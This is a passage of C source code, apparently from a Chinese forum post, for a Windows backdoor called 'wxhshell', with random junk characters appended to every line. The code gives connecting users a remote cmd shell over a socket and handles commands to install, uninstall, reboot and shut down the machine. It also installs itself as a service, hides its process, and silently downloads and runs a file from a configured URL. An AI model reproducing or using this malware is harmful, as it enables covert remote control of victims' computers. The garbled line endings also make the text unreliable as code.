    switch(cmd[0]) { @-u/('vpB  
  5ue{&z @T  
  // 帮助 t@!oc"z}@  
  case '?': { 'z+8;g.ekO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ux-Fvwoh  
    break; .;$/nz6vk  
  } .Olq_wuH  
  // 安装 3YRhqp"E  
  case 'i': { f+gyJ#R`  
    if(Install()) hEEbH@b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gbKms ; :  
    else %JiA,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4pA(.<#A  
    break; [nflQW6  
    } *[_?4*F  
  // 卸载 "3}Bv X  
  case 'r': { _>&zhw2  
    if(Uninstall()) IURi90Ir  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); % ]  
    else +KD~/}C%-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =">O;L.xj  
    break; ZEHz/Y%  
    } FtE%<QHt  
  // 显示 wxhshell 所在路径 xt40hZ$  
  case 'p': { #msk'MVt  
    char svExeFile[MAX_PATH]; G~YV6??  
    strcpy(svExeFile,"\n\r"); c< \:lhl  
      strcat(svExeFile,ExeFile); ##yi^;3Y  
        send(wsh,svExeFile,strlen(svExeFile),0); 7eh}Je8  
    break; v>0xHQD*<M  
    } )S>~h;  
  // 重启 ~f ){`ZJc  
  case 'b': { U7 Z_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !y?g$e`  
    if(Boot(REBOOT)) 9<-AukK m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 875V{fvPBU  
    else { xOD;pRZQ  
    closesocket(wsh); H VG'v>s@  
    ExitThread(0); Dth<hS,2J  
    } k(hes3JV  
    break; P1H`NOC  
    } ?u 9) GJO[  
  // 关机 Gl}=Q7  
  case 'd': { }GQ8|fg`U  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N.BD]_C  
    if(Boot(SHUTDOWN)) g8}/Ln*W'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UHweV:(|T  
    else { pD.7ib^  
    closesocket(wsh); F]SexP4:A  
    ExitThread(0); $5cLhi"`  
    } 9 `J`(  
    break; =^=9z'u"=  
    } g"xLS}Al  
  // 获取shell ?$F:S%eH  
  case 's': { [0F+t,`  
    CmdShell(wsh); t'0r4&\  
    closesocket(wsh); b*r1Jn"h  
    ExitThread(0); OFCkQEG=y>  
    break; 42t D$S5^  
  } Y( D d7`c  
  // 退出 )!p=0&z@{  
  case 'x': { <}N0 y*m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g8!!:fdu  
    CloseIt(wsh); ~F>oNbJIv  
    break; esbxx##\  
    } p!U#53  
  // 离开 c3i|q@ k  
  case 'q': { xWn.vSos  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +;U}SR<  
    closesocket(wsh); g|e^}voRM  
    WSACleanup(); r/:s2 oQ  
    exit(1); 2%1 g%  
    break; F)5QpDmqb  
        } sVaWg?=qs'  
  } %w6> 3#e  
  } c*MjBAq  
]n\WCU ]0  
  // 提示信息 DT n=WGm)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9BNAj-Xa  
} 9%kY8#%SV  
  } : gv[X  
0%`\ 8  
  return; f1hi\p0q  
} OQ W#BBet@  
$vlgiJ&f  
// shell模块句柄 hH )jX`Ta  
int CmdShell(SOCKET sock) (3c,;koRR  
{ "{qhk{  
STARTUPINFO si; .'5yFBS  
ZeroMemory(&si,sizeof(si)); )|uPCZdLZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (3{'GX2c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C<6u}czA  
PROCESS_INFORMATION ProcessInfo; ~=Er= 0  
char cmdline[]="cmd"; T* -*U /  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )'DFDrY  
  return 0; h_* =_2|}  
} 3=T<c?[  
;7tOFsV  
// 自身启动模式 ] A9Vh  
int StartFromService(void) ( F0.lDZ  
{ 8T$:^HW  
typedef struct 7ABHgw~?8r  
{ 92+({ fg W  
  DWORD ExitStatus; pc:K5 -Os  
  DWORD PebBaseAddress; q|=tt(}G  
  DWORD AffinityMask; aE1h0`OT  
  DWORD BasePriority; (U/6~r'.L  
  ULONG UniqueProcessId; ZJ=-cE2n  
  ULONG InheritedFromUniqueProcessId; H,:Cg:E/^  
}   PROCESS_BASIC_INFORMATION; htMsS4^Kvd  
(gl CTF9v  
PROCNTQSIP NtQueryInformationProcess; K34ca-~  
 ZMg%/C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )amdRc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]/JE#  
hk}M'  
  HANDLE             hProcess; zu*0uL  
  PROCESS_BASIC_INFORMATION pbi; JEU?@J71O  
rTDx|pvYx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 84e)huAs  
  if(NULL == hInst ) return 0; |X~T</{8i  
w_/q5]/V-5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @DU]XKv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^p|@{4f]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vh KA8vr  
.6(Bf$E  
  if (!NtQueryInformationProcess) return 0; 0O!%NL[,  
B%^B_s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O0WzDD  
  if(!hProcess) return 0; 1a/@eqF''  
2X]2;W)S;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NZi5rX N  
 vRn^n  
  CloseHandle(hProcess); 9)aXLM4Y  
+]`MdOu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #u|;YC  
if(hProcess==NULL) return 0; Lo7R^>  
n#,AZ&  
HMODULE hMod; :g+R}TR[i  
char procName[255]; I&Yu=v/_  
unsigned long cbNeeded; r}D`15IHJ  
xI}]q%V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .~ZNlI {K  
G)5%f\&  
  CloseHandle(hProcess); 9oc.`-e\?  
,Z&"@g  
if(strstr(procName,"services")) return 1; // 以服务启动 rguC#Xt!4  
QmT]~4PqS  
  return 0; // 注册表启动 @xSS`&b  
} c<pr1g  
#*}4=  
// 主模块 c5R58#XK=  
int StartWxhshell(LPSTR lpCmdLine) 8 yB  
{ &" K74  
  SOCKET wsl; RUYw D tC  
BOOL val=TRUE; ,%v  
  int port=0; #^yw!~:{  
  struct sockaddr_in door; 7=Ew[MOmM  
Vyu0OiGcR  
  if(wscfg.ws_autoins) Install(); Ol{)U;, `  
)z2Tm4>iql  
port=atoi(lpCmdLine); $-jj%x\}  
6$ 9n_AS  
if(port<=0) port=wscfg.ws_port; wrac\.  
>9uDY+70I3  
  WSADATA data; 6b6}HO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bn~=d@'  
Nyow:7p  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Rkw)IdB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~ NK w}6  
  door.sin_family = AF_INET; [@uL)*o_#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $*9h\W-)`Q  
  door.sin_port = htons(port); m9wV#Ldu  
=HQH;c"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R1 hb-  
closesocket(wsl); Gv?'R0s  
return 1; t /EB y"N#  
} )l\BZndf  
?U cW@B{  
  if(listen(wsl,2) == INVALID_SOCKET) { m%qah>11  
closesocket(wsl); *&% kkbA  
return 1; n;xtUw6 \  
} & WYIfx{  
  Wxhshell(wsl); ]uWx<aD B  
  WSACleanup(); IT'~.!o7/  
zX{ [Z  
return 0; <&t^&6k  
BN|+2D+S  
} ppM d  
J 2v=b?NE  
// 以NT服务方式启动 X%h1r`h&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?Q]&d!U Cs  
{ 1Ty{k^%  
DWORD   status = 0; <DvpqlT  
  DWORD   specificError = 0xfffffff; ;B:'8$j$  
"F7g8vu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zX"@QB3E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 15)=>=1mR.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dp&4G6Y<A  
  serviceStatus.dwWin32ExitCode     = 0; 2(\~z@g  
  serviceStatus.dwServiceSpecificExitCode = 0; s4@AK48  
  serviceStatus.dwCheckPoint       = 0; <ij;^ygYD  
  serviceStatus.dwWaitHint       = 0; !BIq>pO%Ui  
C8m8ys  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S"!nM]2L  
  if (hServiceStatusHandle==0) return; 5$`i)}:s  
vh"zYl`  
status = GetLastError(); THi*'D/  
  if (status!=NO_ERROR) zF>| 9JU  
{ l-Xxur5M'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R.Ao%VT  
    serviceStatus.dwCheckPoint       = 0; )|x) KY  
    serviceStatus.dwWaitHint       = 0; VuN= JX  
    serviceStatus.dwWin32ExitCode     = status; t9Ht 5 4  
    serviceStatus.dwServiceSpecificExitCode = specificError; ReE6h\j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); aW$sd)  
    return; +Tf,2?O  
  } l`:M/z6"  
j,K]T J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c*'D  
  serviceStatus.dwCheckPoint       = 0; )V*Z|,#no  
  serviceStatus.dwWaitHint       = 0; ? DWF7{1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <T>C}DGw  
} C&^"]-t  
9KN75<n  
// 处理NT服务事件,比如:启动、停止 uLD%M av  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +H,/W_/g  
{ 4GH?$p|LX  
switch(fdwControl) R*`A',]:9  
{ ?lKFcm  
case SERVICE_CONTROL_STOP: ^G.PdX$M  
  serviceStatus.dwWin32ExitCode = 0; t4R=$ km  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *,.WI )@  
  serviceStatus.dwCheckPoint   = 0; {9q~bt  
  serviceStatus.dwWaitHint     = 0; R3`!Xj#&M  
  { FaYDa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bd*:y qi  
  } Cb~_{$A  
  return; '#mv-/<t*  
case SERVICE_CONTROL_PAUSE: paF$ o6\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7%) F]  
  break; _&_#uV<WG0  
case SERVICE_CONTROL_CONTINUE: y, @I6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; sPuNwVX>}I  
  break; -.~Dhk  
case SERVICE_CONTROL_INTERROGATE: Oz<{B]pEul  
  break; 78&jaw*1A  
}; I?}YS-2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T$RVz   
} Hy`Ee7>  
pJ!:mt  
// 标准应用程序主函数 B~K@o.%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9(g?{6v|  
{ {gT2G*Ed^Z  
99j^<)  
// 获取操作系统版本 wiKUs0|  
OsIsNt=GetOsVer(); ^}vLZA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @}k5rcQ*/  
qOAK`{b  
  // 从命令行安装 wN'Q\l+  
  if(strpbrk(lpCmdLine,"iI")) Install(); !8S $tk  
is @8x!c  
  // 下载执行文件 w64/$  
if(wscfg.ws_downexe) { `IL''eJug_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _P9T h#UAg  
  WinExec(wscfg.ws_filenam,SW_HIDE); xV@/z5Tq  
} X/Umfci  
OE_;i}58  
if(!OsIsNt) { #Duz|F+%  
// 如果时win9x,隐藏进程并且设置为注册表启动 >S/m(98  
HideProc(); J<J_yRg2  
StartWxhshell(lpCmdLine); JtA tG%  
} 91Bl{  
else 2w6 y  
  if(StartFromService()) 9,8}4Y=GVI  
  // 以服务方式启动 `j+[JMr  
  StartServiceCtrlDispatcher(DispatchTable); GddP)l{uCF  
else zq\YZ:JC  
  // 普通方式启动 (prqo1e@  
  StartWxhshell(lpCmdLine); 5>{  
X@`kuWIUw  
return 0; rZ}y'A   
}
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只看该作者 1 发表于: 2006-10-10
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